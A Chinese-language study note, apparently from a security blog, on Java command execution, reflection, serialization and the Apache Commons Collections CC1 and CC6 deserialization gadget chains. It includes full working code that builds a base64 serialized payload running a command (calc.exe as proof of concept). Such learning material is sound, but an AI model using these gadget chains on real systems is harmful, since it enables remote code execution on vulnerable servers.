基本语法 还是得有点基础,至少能看得懂的样子
首先是写.java
文件的时候,名字和公有类名必须一致:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class TrainPrint { public TrainPrint () { System.out.printf("Initial %s\n" , this .getClass()); } void hana () { System.out.printf("hana! \n" ); } public static void main (String []args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException { TrainPrint myTrainPtint = new TrainPrint (); myTrainPtint.hana(); } }
可以使用javac命令将.java
文件编译为.class
的可执行文件的形式,差不多就这样。
命令执行方法 以下三种
1 2 3 4 5 java.lang.Runtime#exec() java.lang.ProcessBuilder#start() java.lang.ProcessImpl#start()
先调一下试试:
java.lang.Runtime#exec() 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;public class Main { static void runtime () throws IOException { Process Runexec = Runtime.getRuntime().exec("cmd /c dir" ); InputStream in = Runexec.getInputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream (); byte [] bytes = new byte [1024 ]; int size; while ((size = in.read(bytes)) > 0 ) bos.write(bytes,0 ,size); System.out.println(bos.toString()); } public static void main (String []args) throws IOException { runtime(); } }
然后下好断点,可以看到跳进Runtime.java
里的exec,接着传给重载的exec:
接着将命令以空格为分隔存入数组
然后将数组形式的命令传给了ProcessBuilder
可以看出前几个exec操作都是处理命令的,如果直接这样调用
Runtime.getRuntime().exec(new String[]{“cmd”,”/c”,”dir”},null,null); 就会直接到最后一个exec
接着跟进ProcessBuilder里的start方法,依旧是重载:
会有一个安全策略,并且紧跟着进入ProcessImpl.start
方法:
然后是ProcessImpl的start方法,把命令信息传入,创建了ProcessImpl对象:
ProcessBuilder有两个构造函数:
1 2 public ProcessBuilder (List<String> command) public ProcessBuilder (String... command)
利用参数类型为List的构造函触发反射时:
1 2 3 4 5 import java.util.Arrays;import java.util.List;Class clazz = Class.forName("java.lang.ProcessBuilder" );clazz.getMethod("start" ).invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe" )));
利用参数类型为String的参数类型触发反射时:
1 2 3 4 5 6 7 8 Class clazz = Class.forName("java.lang.ProcessBuilder" );((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String [][]{{"calc.exe" }})).start(); Class clazz = Class.forName("java.lang.ProcessBuilder" );clazz.getMethod("start" ).invoke(clazz.getConstructor(String[].class).newInstance(new String [][]{{"calc.exe" }}));
直接用 getDeclaredConstructor 来获取这个私有的构造方法来实例化对象,进而执行命令:
1 2 3 4 Class clazz = Class.forName("java.lang.Runtime" );Constructor m = clazz.getDeclaredConstructor();m.setAccessible(true ); clazz.getMethod("exec" , String.class).invoke(m.newInstance(), "calc.exe" );
反射方法 获取目标类的字节码文件对象 Class类中的静态方法forName(String className)
,该方法的参数是需要获取对象的包含完整包名的路径,也就是上面的java.lang.Runtime
,java.lang.ProcessBuilder
,java.lang.ProcessImpl
的形式:
1 2 3 4 5 public class test { public static void main (String[] args) throws Exception{ Class<?> stu = Class.forName("java.lang.Runtime" ); } }
获取类的构造方法对象 使用类的getDeclaredConstructor
方法可以获取到该类的私有构造方法:
1 2 3 4 5 6 7 8 import java.lang.reflect.Constructor;public class test { public static void main (String[] args) throws Exception{ Class<?> stu = Class.forName("java.lang.Runtime" ); Constructor m = stu.getDeclaredConstructor(); } }
获取类的方法对象 1 2 3 4 5 6 7 8 import java.lang.reflect.Method;public class test { public static void main (String[] args) throws Exception{ Class<?> stu = Class.forName("java.lang.Runtime" ); Method con = stu.getDeclaredMethod("exec" ,String.class); } }
利用获取到的构造方法对象创建对象 如果获取到的构造方法对象是私有的,应该先将Accessible
设置为true
使用构造方法对象的newInstance
方法即可创建对象
利用获取到的方法对象的invoke方法调用方法 调试:
1 2 3 4 5 6 7 8 9 10 11 12 import java.lang.reflect.Constructor;import java.lang.reflect.Method;public class test { public static void main (String[] args) throws Exception{ Class<?> stu = Class.forName("java.lang.Runtime" ); Method con = stu.getDeclaredMethod("exec" ,String.class); Constructor m = stu.getDeclaredConstructor(); m.setAccessible(true ); con.invoke(m.newInstance(),"calc.exe" ); } }
使用:
1 2 3 4 5 6 7 8 9 10 import java.lang.reflect.Constructor;public class test { public static void main (String[] args) throws Exception{ Class<?> stu = Class.forName("java.lang.Runtime" ); Constructor m = stu.getDeclaredConstructor(); m.setAccessible(true ); stu.getDeclaredMethod("exec" ,String.class).invoke(m.newInstance(),"calc.exe" ); } }
此时这个利用构造方法获取类本身的办法就有点问题了,因为这样还要去引入Constructor
包,但还有别的办法,Runtime类里是有一个getRuntime
方法可以可以获取到Runtime对象的,这样就能不调用私有构造方法也能得到Runtime对象了。
1 2 3 4 5 public class test { public static void main (String[] args) throws Exception{ Class.forName("java.lang.Runtime" ).getDeclaredMethod("exec" ,String.class).invoke(Class.forName("java.lang.Runtime" ).getMethod("getRuntime" ).invoke(Class.forName("java.lang.Runtime" )),"calc.exe" ); } }
invoke 的作用是执行方法,但在上面一个例子里,调用exec方法的时候invoke的参数是调用无参方法getRuntime返回的类对象,而在调用getRuntime方法的时候invoke的参数却是forName方法返回的类,它的第一个参数是:
如果这个方法是一个普通方法,那么第一个参数是类对象
如果这个方法是一个静态方法,那么第一个参数是类
正常执行方法是 [1].method([2],[3],[4]...)
,在反射里就是method.invoke([1],[2],[3],[4]...)
(参考PHP里的call_user_func)
序列化与反序列化 序列化 序列化需要用到java.io
包的ObjectOutputStream
类,使用该类的writeObject
方法即可将类对象序列化成字节数组流。
先写出一个类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.io.Serializable;public class test implements Serializable { private String a; test(){ setA("666" ); } public void setA (String a) { this .a = a; } public String getA () { return a; } }
该类要继承接口类Serializable
才能被序列化
对于一个继承了Serializable
的类,在被序列化时会触发其writeObject方法,而在反序列化时会触发其readObject方法
创建一个对象输出流ObjectOutputStream
,并包装一个字节数组输出流ByteArrayOutputStream
,调用writeObject
方法,参数为创建的继承了Serializable
接口的类对象:
1 2 3 4 5 6 7 8 9 10 11 12 13 import java.io.*;import java.lang.reflect.Constructor;public class runt { public static void main (String[] args) throws Exception{ test a = new test (); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oo = new ObjectOutputStream (barr); oo.writeObject(a); oo.close(); System.out.println(barr); } }
此时就成功将目标对象序列化并存在字节数组输出流里了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import java.io.*;import java.lang.reflect.Constructor;public class runt { public static void main (String[] args) throws Exception{ test a = new test (); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oo = new ObjectOutputStream (barr); oo.writeObject(a); oo.close(); System.out.println(barr); ObjectInputStream ii = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object i = (Object) ii.readObject(); test t = (test)i; System.out.println(t.getA()); } }
将目标字节数组流存在输入流中并用ObjectInputStream
包起来,然后执行readObject
方法,返回一个类对象,强转为序列化前的类型,反序列化便执行完成
CC1 Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
1 2 3 public interface Transformer { public Object transform (Object input) ; }
ConstantTransformer类是实现了Transformer接口的类。
1 2 3 4 5 6 7 8 9 10 11 public class ConstantTransformer implements Transformer , Serializable { private final Object iConstant; public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; } }
该类会在构造函数中将传入的类存在变量iConstant中,然后在执行transform方法时将其返回。
即:
1 2 3 4 5 6 7 8 import org.apache.commons.collections.functors.ConstantTransformer;public class test1 { public static void main (String[] args) { Object a = new ConstantTransformer (Runtime.getRuntime()); Object b = a.transform("random" ); } }
此时b的值就是执行Runtime.getRuntime
方法得到的runtime的类对象,前面说到过的通过这个getRuntime方法可以得到对象,而无需去执行私有构造方法得到。
该类同样是实现了Transformer接口的一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class InvokerTransformer implements Transformer , Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { this .iMethodName = methodName; this .iParamTypes = paramTypes; this .iArgs = args; } public Object transform (Object input) { if (input == null ) { return null ; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this .iMethodName, this .iParamTypes); return method.invoke(input, this .iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException ("InvokerTransformer: The method '" + this .iMethodName + "' on '" + input.getClass() + "' does not exist" ); } } } }
该类的transform方法会执行在反射方法部分讲的操作,获取类,获取方法,执行方法,类是传入的
该类仍然是实现了Transformer接口的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public class ChainedTransformer implements Transformer , Serializable { private final Transformer[] iTransformers; public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; } }
该类的构造方法的参数是Transformer型数组,该类的transform方法执行时会遍历构造时传入的Transform型数组,执行数组中Transform类的transform方法,并将返回的类作为下一个循环中执行的transform方法的参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object transformKey (Object object) { return this .keyTransformer == null ? object : this .keyTransformer.transform(object); } protected Object transformValue (Object object) { return this .valueTransformer == null ? object : this .valueTransformer.transform(object); } public Object put (Object key, Object value) { key = this .transformKey(key); value = this .transformValue(value); return this .getMap().put(key, value); } }
该类在执行put方法时会执行其构造时传入的第二和第三个参数的transform方法
该类的构造方法是protected类型,因此需要使用它的公有静态方法decorate进行构造
链子小结 这样经过对这一系列类的介绍,这条链子从触发到利用就都非常清楚了
1 2 3 4 5 TransformedMap.put -> TransformedMap.transformValue TransformedMap.transformValue -> ChainedTransformer.transform ChainedTransformer.transform -> ConstantTransformer.transform ConstantTransformer.transform -> ChainedTransformer.transform ChainedTransformer.transform -> InvokerTransformer.transform
demo为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package test;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class test1 { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.getRuntime()), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (transformers); Map innerMap = new HashMap (); Map outerMap = TransformedMap.decorate(innerMap,transformerChain, null ); outerMap.put("test" , "xxxx" ); } }
链子的序列化 实际使用时是需要将链子进行序列化的,而之前说过,要继承接口类Serializable
才能被序列化,而Runtime.getRuntime
得到的类对象为java.lang.Runtime
类,并没有满足这个条件,因此不能被序列化
将其改成Runtime.class,该对象使用getClass方法时得到的便是java.lang.class
,此对象是继承了接口类Serializable
的,因此该问题得到解决
1 2 3 4 5 6 7 8 9 10 11 12 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{"null" ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }), };
sun.reflect.annotation.AnnotationInvocationHandler
类该类的readObject方法中会进行一个类似put的赋值操作,从而触发链子。p神在Java安全漫谈中用到的版本是Java8u71以前的版本,因为8u71以后的版本进行了修改,还好我的Java8版本是8u42的,不用重新下一个,不过长的不太一样,但我仔细看了之后,并且尝试了一下,确实是可行的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 AnnotationInvocationHandler(Class<? extends Annotation > var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); } } private void readObject (ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null ; try { var2 = AnnotationType.getInstance(this .type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException ("Non-annotation type in annotation serial stream" ); } Map var3 = var2.memberTypes(); Iterator var4 = this .memberValues.entrySet().iterator(); while (var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null ) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy (var8.getClass() + "[" + var8 + "]" )).setMember((Method)var2.members().get(var6))); } } } }
我悟了
在readObject方法中,var4被赋值了类属性memberValues,而memberValue属性在构造方法中被赋值了Map类对象,然后在while循环中var5得到了指向var4中元素的指针,并指向了第一个元素,接着,在if语句中var5进行了setValue触发了链子
然后是var7!=null的部分,var2先得到了一个类对象,参数是构造方法的参数1,参数的要求是,Annontation的子类,接口类,有至少一个方法,而这个方法名会作为对象中的一个Map类中的一个元素的key存在,因此,我找了一个Target,和p神那个不是同一个,但都是有一个value方法,var3得到了类中的那个Map对象membertype,接着,而var6得到的var5的键名又要用来作为var3的检索键,而var3中只有一个key为value的元素,因此,在传入的Map被作为TransformedMap的第一个参数之前,需要先添加一个key为value的元素,从而通过var7!=null的if语句,进入触发反序列化链的关键语句
虽然这部分不是链子的触发,但是是触发点的一部分。
cc6 同样是HashMap#readObject方法中的触发自身的hash方法,在HashMap#hash方法中执行了hashCode方法,从而触发org.apache.commons.collections.keyvalue.TiedMapEntry
#hashCode中的getValue,在TiedMapEntry#getValue中触发到LazyMap#get,在LazyMap#get方法中触发ChainedTransformer#transform,接着就和cc1中的后半部分一样了
首先创建包含了恶意代码的transformer类对象:
1 2 3 4 5 6 7 8 9 10 11 12 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{"null" ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }), };
接着创建ChainedTransformer对象,并且将其作为LazyMap构造方法的参数,由于LazyMap构造方法同样是私有,因此使用decorate方法进行创建:
该方法第一个参数是HashMap,没有用到,也不影响链子,因此直接创建一个空对象即可:
1 2 3 4 Transformer transformerChain = new ChainedTransformer (transformers);Map innerMap = new HashMap ();Map outerMap = LazyMap.decorate(innerMap,transformerChain);
接着要触发到LazyMap#get方法,TiedMapEntry#getValue可以实现调用其构造方法的第一个参数的get方法,而TiedMapEntry#hashcode可以实现调用自身的getValue方法:
1 TiedMapEntry tme = new TiedMapEntry (outerMap,"keykey" );
在HashMap#readObject中调用了hash方法,参数为key值,而在HashMap#hash中可以调用到key的hashCode方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException ("Illegal load factor: " + loadFactor); s.readInt(); int mappings = s.readInt(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { float lf = Math.min(Math.max(0.25f , loadFactor), 4.0f ); float fc = (float )mappings / lf + 1.0f ; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int )fc)); float ft = (float )cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int )ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node [cap]; table = tab; for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } }
说实在的我其实是没太看懂代码走向的,因为这个传入的参数有点不太理解,但好在这个注释很详细,加上是Map类,使用put将tme类作为key加入Map中,这样就能触发了:
1 2 Map expmap = new HashMap ();expmap.put(tme,"valuevalue" );
这一步在生成的时候会触发一次链子,因为HashMap#put方法中也有一个hash方法,参数是put方法的第一个参数,正好就触发了链子,调的时候可以把造链子和触发分开,也可以先放个无害的Transformer到ChainedTransformer中,在放入后再替换掉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 Transformer transformerChain = new ChainedTransformer (faketransformers);Map innerMap = new HashMap ();Map outerMap = LazyMap.decorate(innerMap,transformerChain);TiedMapEntry tme = new TiedMapEntry (outerMap,"keykey" );Map expmap = new HashMap ();expmap.put(tme,"valuevalue" ); outerMap.remove("keykey" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" );f.setAccessible(true ); f.set(transformerChain,transformers);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 public static void main (String[] args) throws Exception { gadget(); } public static void unser (String code) throws Exception{ byte [] bytes = Base64Utils.decodeFromString(code); ByteArrayInputStream bais = new ByteArrayInputStream (bytes); ObjectInputStream obj = new ObjectInputStream (bais); obj.readObject(); } public static void gadget () throws Exception { Transformer[] faketransformers = new Transformer []{ new ConstantTransformer (1 ) }; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{"null" ,new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }), }; Transformer transformerChain = new ChainedTransformer (faketransformers); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap,transformerChain); TiedMapEntry tme = new TiedMapEntry (outerMap,"keykey" ); Map expmap = new HashMap (); expmap.put(tme,"valuevalue" ); outerMap.remove("keykey" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(transformerChain,transformers); ser(expmap); } public static void ser (Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(obj); String encode = Base64Utils.encodeToString(baos.toByteArray()); System.out.println(encode); }
因为序列化之后仍然是字节流数据,而触发反序列化漏洞一般是通过base64编码来传入序列化字符串,因此序列化之后还要进行base64编码一次